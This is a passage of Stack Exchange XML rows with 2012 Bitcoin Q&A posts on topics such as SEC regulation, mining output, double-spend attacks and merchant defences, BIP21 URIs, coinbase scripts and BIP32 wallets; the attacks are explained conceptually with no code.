LastActivityDate="2017-10-30T13:02:10.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4964" PostTypeId="1" AcceptedAnswerId="4977" CreationDate="2012-10-04T13:47:52.920" Score="8" ViewCount="675" Body="&lt;p&gt;Do SEC regulations apply to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exchange of Bitcoin for US dollars&lt;/li&gt;&#xA;&lt;li&gt;Investing in companies with Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;An exchange that sells shares of company stock for Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin futures contracts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="132" LastEditDate="2014-01-13T14:43:08.900" LastActivityDate="2014-01-13T14:43:08.900" Title="Does the U.S. Securities and Exchange Commission govern Bitcoin?" Tags="|exchanges|trading|legal|usa|financial-regulations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4966" PostTypeId="1" AcceptedAnswerId="7482" CreationDate="2012-10-04T18:40:23.580" Score="3" ViewCount="663" Body="&lt;p&gt;I have 3 graphics cards mining with poclbm (no external pool) and they all have pretty much the same output: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYSERVER:MYPORT [141.642 MH/s (~0 MH/s)] [Rej: 0/0 (0.00%)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what does the &quot;~0 MH/s&quot; mean?&lt;/p&gt;&#xA;" OwnerUserId="1745" LastEditorUserId="5406" LastEditDate="2016-04-09T07:54:25.757" LastActivityDate="2016-04-09T07:54:25.757" Title="What does the poclbm output mean?" Tags="|terminology|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4967" PostTypeId="5" CreationDate="2012-10-04T19:26:34.610" Score="0" Body="&lt;p&gt;Synchronizing a full node requires downloading blocks from the node's peers. Currently this process requires many resources, including CPU to validate the blocks, Disk I/O to write the received blocks to disk, and RAM to hold blocks in memory while being processed and to hold the UTXO database cache. During synchronization, blocks are downloaded in parallel and primarily validated in parallel. The only parts that are not done in parallel are those which rely on other blocks, such as checking that all transactions are valid and that the previous block was valid. Synchronization is also sped up with the use of &lt;code&gt;assumevalid&lt;/code&gt; since Bitcoin Core 0.14. With &lt;code&gt;assumevalid&lt;/code&gt;, signatures in transactions are not verified up to a certain point, the &lt;code&gt;assumevalid&lt;/code&gt; block. This saves on resources as signature validation is one of the more expensive parts of validating a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lightweight client such as Electrum must also perform some synchronization. For this, all they do is receive the block headers for all blocks in the blockchain and ensure that they connect and that the Proof of Work is valid. This is done to ensure that the nodes they are connected to are serving them blocks from the valid chain with the most work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag should be used for any question which pertains to synchronizing the full blockchain with a full node or synchronizing a lightweight wallet's headers chain.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="48884" LastEditDate="2017-10-20T20:21:26.573" LastActivityDate="2017-10-20T20:21:26.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4968" PostTypeId="4" CreationDate="2012-10-04T19:26:34.610" Score="0" Body="This is the process of bringing a Bitcoin client up to date with the list of all Bitcoin transactions known as the blockchain." OwnerUserId="516" LastEditorUserId="13866" LastEditDate="2023-05-11T13:51:38.023" LastActivityDate="2023-05-11T13:51:38.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4969" PostTypeId="1" CreationDate="2012-10-05T02:38:00.330" Score="1" ViewCount="1320" Body="&lt;p&gt;I am looking for somebody to help me fix my Bitcoin client, it is corrupt, reads :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A fatal error occured. Bitcoin can no longer continue safely and will quit.&#xA;EXCEPTION: 22DbRunRecoveryException       &#xA;DbEnv::open: DB_RUNRECOVERY: Fatal error, run database recovery       &#xA;bitcoin in Runaway exception &quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have tried and tried to no avail to fix the damned thing and am at the point that I would like to pay someone to fix it for me.&#xA;How can I solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="1885" LastEditorUserId="132" LastEditDate="2012-10-05T11:52:52.787" LastActivityDate="2012-10-05T11:52:52.787" Title="Bitcoin client fails and reports some database recovery error" Tags="|client|bitcoin-core|database|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4970" PostTypeId="1" CreationDate="2012-10-05T05:55:15.217" Score="7" ViewCount="134" Body="&lt;p&gt;I am selling SASS solution on my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I ideally educate customer to use bitcoin, which convince them &#xA;to use bitcoin instead of paypal or other methods.&lt;/p&gt;&#xA;" OwnerUserId="1999" LastActivityDate="2012-10-05T17:34:29.693" Title="Ideal prompt to show to the customer" Tags="|merchants|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4971" PostTypeId="2" ParentId="4970" CreationDate="2012-10-05T06:26:20.187" Score="4" Body="&lt;p&gt;Do you offer both Bitcoin and PayPal/other on your website? If so, offer them some discount, say 10% off, if they use Bitcoin. Tell them that it is due to lower processing fees. With some monetary incentive, you will convert some of your customers over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you offer only Bitcoin, put some link in a visible page stating something like &quot;why only Bitcoin?&quot;, then bring them to a page in your FAQ where you explain your reasoning to use Bitcoin - lower development cost, lower processing cost, no charge-backs, freedom from third party companies, etc. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to link to some accessable material for newcomers - for example, &lt;a href=&quot;http://www.weusecoins.com&quot; rel=&quot;nofollow&quot;&gt;We Use Coins&lt;/a&gt;, or some materials from &lt;a href=&quot;http://en.bitcoin.it/wiki/Category%3aIntroduction&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki on Introduction&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-05T06:26:20.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4974" PostTypeId="1" AcceptedAnswerId="4976" CreationDate="2012-10-05T12:20:32.830" Score="27" ViewCount="38757" Body="&lt;p&gt;What is a double spend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone who uses Bitcoin, what do I need to know about how the Bitcoin system prevents double spends? Are there still circumstances where they can occur?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="4334" LastEditDate="2017-05-05T22:59:35.003" LastActivityDate="2020-08-06T13:30:58.180" Title="What is a double spend?" Tags="|transactions|blockchain|security|doublespend|attack|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4976" PostTypeId="2" ParentId="4974" CreationDate="2012-10-05T15:34:47.973" Score="23" Body="&lt;p&gt;A double spend is an attack where the given set of coins is spent in more than one transaction. There are a couple main ways to perform a double spend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send two conflicting transactions in rapid succession into the Bitcoin network. This is called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#Race_attack&quot; rel=&quot;noreferrer&quot;&gt;race attack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Pre-mine one transaction into a block and spend the same coins before releasing the block to invalidate that transaction. This is called a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4942/323&quot;&gt;Finney attack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Own 51+% of the total computing power of the Bitcoin network to reverse any transaction you feel like, as well as have total control of which transactions appear in blocks. This is called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending#51.25_attack&quot; rel=&quot;noreferrer&quot;&gt;51% attack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To prevent damages from the first attack - wait for one confirmation to appear on a given transaction. To prevent damage from the second attack - wait for 6 confirmations to appear on a transaction, or less if the transaction is small (but still require at least 1). Damage from the third attack can cripple the entire Bitcoin network, so don't worry about it - your business most likely won't be the main target (it's unlikely to happen without really big money getting involved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about all those attacks, you can check out &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88149.0&quot; rel=&quot;noreferrer&quot;&gt;my master thesis on Bitcoin security&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-10-05T17:36:45.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4977" PostTypeId="2" ParentId="4964" CreationDate="2012-10-05T16:50:15.740" Score="4" Body="&lt;p&gt;Is a Bitcoin a security?   The SEC hasn't said that it believes it is and not communicated with or taken action, formal or informal, asserting that a miner is issuing securities or that exchanges are engaging as brokers of a security, which is a regulated activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a Bitcoin an asset or commodity?   Does your grocery store need SEC approval to sell bananas?   Or, more similarly, does a coin dealer need SEC approval to sell gold and silver bullion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a broker where gold bullion is speculated on is regulated in the U.S., just not by the SEC.  The Commodity Futures Trading Commission (CFTC) is the regulatory body that addresses that.  To-date, there are no bitcoin-related services offering futures contracts, options, or anything similar which operate from the U.S. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now issuing shares in a company is exactly the activity the SEC addresses.  There are no bitcoin-related services issuing company securities or operating a secondary market for shares that operates from within the U.S.  The regulators may still assert jurisdiction though if securities are offered to investors from the U.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there may be registration requirements for an organization that holds deposits or where an exchange interacts with the banking system they may need to register as a money transmitter, but that is not something under the SEC's purview.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-05T16:50:15.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4978" PostTypeId="2" ParentId="4970" CreationDate="2012-10-05T17:28:09.647" Score="1" Body="&lt;p&gt;Presumably you want your customers to use Bitcoin because it benefits you in some way.  Perhaps you get hit with forced chargebacks when using PayPal that you wouldn't have with Bitcoin (i.e., any refunds given would be initiated by you as the service provider).  Or perhaps the lack of fees versus PayPal (which cost 2.9% + $0.30 per transaction) are a reason why.  Or perhaps the proceeds are used to pay vendors, and the sooner the funds clear the sooner they can be put to work (bitcoin transactions are available for spending in about an hour).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So sharing with the customer some of the gains the come from the switch to Bitcoin  are one approach.  If the customer is presented with the invoice -- $100 when paid with PayPal / Credit Card, or $98 worth of bitcoins, then the choice is up to the customer but they are probably going to look into these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer has to pay 3% or more to get bitcoins (which is common using &quot;instant&quot; methods), then this financial incentive is a wash or less appealing.  But there are bank transfer methods which reduce the cost significantly (e.g., Using Dwolla with ACH bank transfer in the U.S., the bank transfer is free and teh cost paid to Dwolla is $0.25 per transaction.  Then the exchange fee is likely just half of a percent.  That's it then!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if your business offers to accept bitcoin and your competitors don't, that alone gives it a competitive advantage as those of us who already hold bitcoins are likely to spend with a Bitcoin-friendly merchant versus one that isn't.  For instance, even though Amazon doesn't accept Bitcoin yet, their gift codes are easily obtained with bitcoins (i.e. several sources).  And thus of all the places computer hardware and consumer electronics is offered, more bitcoins are effectively traded for purchases at Amazon than anywhere else.  Amazon gains market share by simply offering a method in which ultimately bitcoins are used for purchases and its competitors don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though there is no guarantee, there is the chance that bitcoins bought now and held will be worth more in the future.  Consumers generally don't understand speculation and tend to feel cheated when ending up losing from it, so encouraging consumers to speculate probably isn't in a merchant's best interest.  However a merchant might be willing to absorb the risk instead.  For example, an annual subscription could be offered at a discount where payment is made in bitcoin and the merchant essentially escrows the bitcoins.  If the value of bitcoin drops, the merchant still offers the service but absorbs the difference in the price paid.  If the value of bitcoin rises, the merchant takes the profit.  The consumer is happy in either instance -- service was obtained at a discount, yet the merchant may benefit greatly if the future exchange rates end up favoring the merchant.  Now if the service doesn't have high margins, then this approach may not be good, as the merchant might not be able to continue providing the service at a loss if the bitcoin exchange rate drops significantly -- so this approach may not work in many instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, it comes down to this -- most consumers don't know nor care if you accept bitcoin, they are going to use the method they already know.  Inertia.  Now if it is important to you that they switch to Bitcoin, you need to give them a reason and incentive to change the inertia.  Changing customer behavior is the aim of marketing and business strategy.  There likely will be more and more organizations discovering that Bitcoin brings advantages that it starts becoming important enough to allocate resources and getting the ball rolling.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-05T17:34:29.693" LastActivityDate="2012-10-05T17:34:29.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4979" PostTypeId="2" ParentId="4974" CreationDate="2012-10-05T18:05:45.367" Score="5" Body="&lt;p&gt;As a merchant, you can reduce the likelihood of losses from a race attack double spend by having your node properly configured (no incoming transactions, explicit outgoing connections to well-connected nodes).  There still is a tiny risk of getting cheated even with this configuration but it is rare and relatively random.  Thus the disincentive to the attacker is that if success in double spending only rarely occurs, each failed attempt is a profitable sale to the merchant and thus in the long run it is unprofitable for the attacker and profitable for the merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are circumstances where a merchant is more vulnerable.  An unattended coin change machine at a laundromat, for instance, would be the worst case scenario for the merchant.  The attacker loses nothing for failed attempts (presuming the machine is not taking any profit from each &quot;sale&quot;), takes the gains on the occasional successful attempt, and is not likely to get caught for committing fraud as by the time the laundromat operator is aware anything happened the thief is long gone.  (Of course, countering this is the likelihood that blockchain monitoring would have identified the numerous double spend attempts and thus the laundromat operator can prevent even this from occurring.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Finney attack also has costs that make it less of a threat than it would seem.  Holding a block costs about a dollar a second.  So if once a block is mined but not broadcast and it then takes the thief forty seconds to complete the transaction with the merchant, there had better be a lot more than $40 worth of profit from doing so otherwise the attempt ends up being uneconomical over the long run. Again, the merchant would know eventually that the double spend had occurred (measured in seconds, if monitoring the blockchain), so this doesn't work well in circumstances where the thief risks getting caught.  So the prevention for this is to simply not make large value transactions (e.g., hundred dollars or more) on 0/unconfirmed without some delay where you are watching for double spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 51% attack that would reverse confirmed transactions is so expensive and thus such a remote chance of it occurring, it is not even of concern for a typical merchant. (i.e., someone spending millions of dollars to double spend using this attack vector, if it ever happens, is going to go after trades where large exchanges of value which occur -- think gold bullion traded for bitcoins under a bridge at midnight.  They are not trying to buy your consumer electronics that you ship out via UPS nor are they meeting you at Starbucks hoping to defraud you of your $200.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Double-spending&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-05T18:12:55.473" LastActivityDate="2012-10-05T18:12:55.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4980" PostTypeId="1" CreationDate="2012-10-05T22:55:43.967" Score="3" ViewCount="898" Body="&lt;p&gt;Since bitcoin addresses are hashes of public keys and not public keys as such, if one wanted to craft a message that could be decrypted by the generator of an address, that can't be done just with an address. But after the generator of an address has spent something that was received there, which requires presenting the public key (or does it?) publicly, is that public key part of the public record so it can be used for direct message encryption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is there a standard way to perform such message encryption, analogous to opaque PGP blocks, and supported by UI panels in bitcoin-qt where one can paste blocks of plain (with intended recipient) or ciphertext (directed to one of one's own addresses) and see plaintext or a copyable opaque block?&lt;/p&gt;&#xA;" OwnerUserId="2006" LastActivityDate="2012-10-08T01:01:47.990" Title="Does the public key associated with an address become part of the public record after it has been used to spend?" Tags="|address|encryption|message|green-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4981" PostTypeId="2" ParentId="4980" CreationDate="2012-10-05T23:52:13.763" Score="2" Body="&lt;p&gt;The publicly shared Bitcoin address is a hash of the public key and nothing more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing a Bitcoin address shares with public-key infrastructure (PKI) is that it is a type of cryptography and it is shared publicly.  It does not provide the ability to encrypt a message so that only the owner of the private key can decrypt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done though, is to combine two technologies to give you what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Bitcoin-Qt client, Alice can sign a message that can be verified to have been signed using the private key for a specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Alice can then use Bitcoin-Qt to sign a message that says &quot;my public key is: 73B7B2F3&quot;.  Bob can then use his Bitcoin-Qt client to verify that the message was truly signed by the owner of a certain Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob can then use GPG to encrypt a message to Alice, using Alice's public key that she claimed was hers and thus only Alice can decrypt and read Bob's message.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-08T01:01:47.990" LastActivityDate="2012-10-08T01:01:47.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4982" PostTypeId="2" ParentId="4980" CreationDate="2012-10-06T01:23:59.803" Score="3" Body="&lt;p&gt;You're right that public keys are generally unknown until coins are spent from their address, and that until coins are spent only a hash of the public key is published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's technically possible to use bitcoin public keys for the kind of encryption you're imagining, you're the first person I've seen talking about doing so.  The satoshi client has an interface to allow users to sign messages using their private key which others can verify using the associated bitcoin address, but using public keys to encrypt messages which only the holder of the private key can decrypt is something I've never seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that signing a message with your private key in the satoshi client &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/524&quot; rel=&quot;nofollow&quot;&gt;includes the corresponding public key in the output signature&lt;/a&gt;.  This allows the recipient to verify the message.  It's possible that otherwise they wouldn't know the public key, having only the corresponding bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-10-06T20:01:34.567" LastActivityDate="2012-10-06T20:01:34.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4983" PostTypeId="1" AcceptedAnswerId="4985" CreationDate="2012-10-06T04:38:30.247" Score="10" ViewCount="3043" Body="&lt;p&gt;I went to &lt;a href=&quot;https://glbse.com/&quot;&gt;https://glbse.com/&lt;/a&gt; and see it is closed. It was a stock exchange for shares of companies denominated in Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why it closed?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2012-10-16T06:52:45.710" Title="Why did GLBSE close?" Tags="|services|finance|glbse|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4985" PostTypeId="2" ParentId="4983" CreationDate="2012-10-06T07:52:00.753" Score="4" Body="&lt;p&gt;It appears that Nefario, the person operating GLBSE, decided to go against all bylaws and terms of service and just close GLBSE. That part of the story was explained by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=115669.0&quot; rel=&quot;nofollow&quot;&gt;theymos&lt;/a&gt;. It it still unclear, however, why he did it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-06T07:52:00.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4987" PostTypeId="1" AcceptedAnswerId="4996" CreationDate="2012-10-06T10:30:13.880" Score="24" ViewCount="15007" Body="&lt;p&gt;What is the URL scheme that is used by Bitcoin to copy transaction information directly into the client? Which versions of Bitcoin clients support it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2022-06-02T16:10:37.337" LastActivityDate="2022-06-02T16:10:37.337" Title="Bitcoin URL scheme" Tags="|bitcoin-core|client|standard|bip21-uri|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4988" PostTypeId="1" CreationDate="2012-10-06T13:02:33.313" Score="2" ViewCount="379" Body="&lt;p&gt;There are Forex clearing-houses all over the world. How can we have a Forex clearing-house offering Bitcoin as tradeable currency pairs?&lt;/p&gt;&#xA;" OwnerUserId="2009" LastActivityDate="2015-06-05T07:51:22.143" Title="How can Bitcoin be adopted as tradeable currency pairs on Forex?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4989" PostTypeId="2" ParentId="4988" CreationDate="2012-10-06T13:56:31.330" Score="3" Body="&lt;p&gt;Well, the Bitcoin exchanges are a form of a forex clearing house. At the moment, however, Bitcoin is not really ready to be traded alongside all world's currencies at some more major exchanges - the big players could sway its value up and down at a whim with a fraction of what money they have. Before that happens Bitcoin still needs to grow and become more noticeable. However, there isn't much stopping someone from incorporating Bitcoin into a new forex.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-06T13:56:31.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4990" PostTypeId="1" CreationDate="2012-10-06T13:59:31.563" Score="8" ViewCount="3490" Body="&lt;p&gt;The input script of the coinbase transaction of block number 1 (right after the genesis block) looks like this: 04ffff001d010b&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I recognize this as a coinbase transaction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I simply know that this is a coinbase transaction because it is the first transaction in the block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the coinbase script have to have a special format?&lt;/p&gt;&#xA;" OwnerUserId="217" LastEditorUserId="5406" LastEditDate="2015-01-12T22:46:57.017" LastActivityDate="2015-01-12T22:46:57.017" Title="What is the format of coinbase input scripts?" Tags="|script|coinbase-transaction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4991" PostTypeId="2" ParentId="4990" CreationDate="2012-10-06T14:37:31.107" Score="1" Body="&lt;p&gt;Coinbase input scripts can contain arbitrary data. No data is required currently. Bitcoind creates coinbase input scripts so that they are properly-formed scripts, but this is not required.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-10-06T14:37:31.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4992" PostTypeId="1" AcceptedAnswerId="4993" CreationDate="2012-10-06T15:42:55.893" Score="19" ViewCount="1992" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot;&gt;BIP32&lt;/a&gt; specifies hierarchical deterministic wallets, where a master seed fully determines a whole tree of keypairs that can be arbitrarily branched. It also introduces the notions of internal and external keypair chains that can be used independently to generate public or private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know that for example &lt;a href=&quot;http://bitcoinarmory.com&quot;&gt;Armory&lt;/a&gt; uses deterministic wallets, but I cannot seem to find any implementation of the branching feature as described in BIP32. In particular, I want to generate a chain of linked addresses which are spendable using only one of the keys from my wallet as seed of a new branch (roughly the use case described in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032#Recurrant_business-to-business_transactions%3a_M.2Fi.2F0&quot;&gt;Recurrent business-to-business transactions&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other implementations of BIP 32 I am not aware of? Are there any plans to (fully) implement BIP 32 in Armory or any other client?&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="2306" LastEditDate="2014-12-13T06:02:20.770" LastActivityDate="2014-12-13T06:02:20.770" Title="What is the status of hierarchical deterministic wallets (BIP32)" Tags="|wallet|private-key|armory|bip32-hd-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4993" PostTypeId="2" ParentId="4992" CreationDate="2012-10-06T18:40:23.163" Score="14" Body="&lt;p&gt;I started implementing BIP32 for the reference client myself, but as there were more urgent matters to deal with, I have temporarily stopped working on it. I certainly plan to complete this, but I can't give any target date or version right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know from Alan Reiner (Armory's developer), he plans to switch to BIP32 as soon as the reference client implements them as well.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-10-06T18:40:23.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4994" PostTypeId="2" ParentId="4920" CreationDate="2012-10-06T20:08:38.753" Score="0" Body="&lt;p&gt;MtGox has an option that allows you to upload a copy of your wallet.dat to their site.  If you do that, the coins that have been sent to your wallet will appear back in your MtGox account.  Then you can send them to an online wallet address, or leave them in your MtGox account until your local bitcoin client has finished downloading the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help with any of this, leave a comment on my answer telling me how I can contact you.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-10-06T20:08:38.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4995" PostTypeId="2" ParentId="4990" CreationDate="2012-10-06T20:41:59.503" Score="6" Body="&lt;p&gt;A coinbase transaction is characterised by &quot;previous_output&quot; field of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;noreferrer&quot;&gt;transaction&lt;/a&gt; being 32 bytes of zeros and 4 bytes of 0xFF. It should be the first transaction of the block, but I'm not sure whether all the clients enforce this rule. The signature script of the coinbase transaction need not obey the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;Script protocol&lt;/a&gt;, but as far as I remember the first block's script pushes data onto the stack and then pops it off. The data encoded in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;noreferrer&quot;&gt;Genesis Block&lt;/a&gt; represents the famous headline of Times:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And was used as a way to prove that the block was created no sooner than on 2009 01 03, but can also be speculated that it relates to Satoshi's intent when creating Bitcoin - to counter debt-driven currencies.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-06T20:41:59.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4996" PostTypeId="2" ParentId="4987" CreationDate="2012-10-06T21:36:02.390" Score="31" Body="&lt;p&gt;The Bitcoin Improvement Proposal that defines the Bitcoin URI scheme is  &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0021&quot; rel=&quot;noreferrer&quot;&gt;BIP21&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simple syntax is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:&amp;lt;address&amp;gt;[?amount=&amp;lt;amount&amp;gt;][?label=&amp;lt;label&amp;gt;][?message=&amp;lt;message&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the desktop all of Armory, Electrum and MultiBit respond to Bitcoin URI clicks in a browser and I believe Bitcoin-QT V0.7 does as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On mobiles Android Bitcoin Wallet does. On the iPhone the blockchain.info app does.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="48460" LastEditDate="2017-04-16T13:48:20.793" LastActivityDate="2017-04-16T13:48:20.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4997" PostTypeId="2" ParentId="4983" CreationDate="2012-10-07T00:26:08.900" Score="5" Body="&lt;p&gt;At this point in time only one person, Nefario, knows for sure why GLBSE closed.  He was the one who had the power to close it, and he did so, without giving any public explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else is either hearsay or speculation.&lt;/p&gt;&#xA;" OwnerUserId="2013" LastActivityDate="2012-10-07T00:26:08.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4998" PostTypeId="1" AcceptedAnswerId="4999" CreationDate="2012-10-07T11:14:41.410" Score="13" ViewCount="909" Body="&lt;p&gt;Articles by for example &lt;a href=&quot;http://www.economist.com/node/21563752?fsrc=scn/tw/te/pe/monetaristsanonymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Economist&lt;/a&gt; stating that Bitcoins are being used for drug trading (Silk Road), I believe that the biggest risk to Bitcoins is that a government will pull a stunt similar to &lt;a href=&quot;http://en.wikipedia.org/wiki/Stuxnet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stuxnet&lt;/a&gt;. This was also &lt;a href=&quot;https://bitcoin.stackexchange.com/a/371/6&quot;&gt;the answer of David Schwartz&lt;/a&gt; to a previous question of mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I believe that we should make a metric, similar to &lt;a href=&quot;http://en.wikipedia.org/wiki/Bus_factor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bus Factor&lt;/a&gt; for software projects, which indicates risk of such an event with a single number. I propose that the metric should be called CSU (Cost of Secret Undermining). Later we could calculate the cost of undermining in other ways, like by banning businesses that accept bitcoins and so on, but that will be much harder. 